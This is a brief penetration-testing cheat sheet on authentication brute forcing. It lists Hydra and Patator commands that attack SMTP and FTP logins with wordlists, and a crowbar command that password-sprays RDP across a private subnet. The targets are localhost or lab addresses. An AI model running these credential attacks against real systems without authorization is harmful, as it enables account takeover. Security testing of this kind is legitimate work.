Authentication Brute Force

Hydra

$ hydra -V -t 20 -f -I -L logins.lst -P /usr/share/john/password.lst 127.0.0.1 -s 8888 smtp
$ hydra -V -t 20 -f -I -l admin -P /usr/share/john/password.lst 127.0.0.1 -s 8888 ftp

Patator

$ patator smtp_login host=127.0.0.1 port=8888 user=FILE0 password=FILE1 0=logins.lst 1=/usr/share/john/password.lst -x ignore:mesg='(515) incorrect password or account name' -x free=user:code=0
$ patator ftp_login host=127.0.0.1 port=8888 user=admin password=FILE0 0=/usr/share/john/password.lst -x ignore:mesg='Login incorrect.' -x free=user:code=0

crowbar

• https://github.com/galkan/crowbar

RDP

$ crowbar -b rdp -s 192.168.1.0/24 -u snovvcrash -c 'Passw0rd!' -l ~/ws/log/crowbar.log -o ~/ws/log/crowbar.out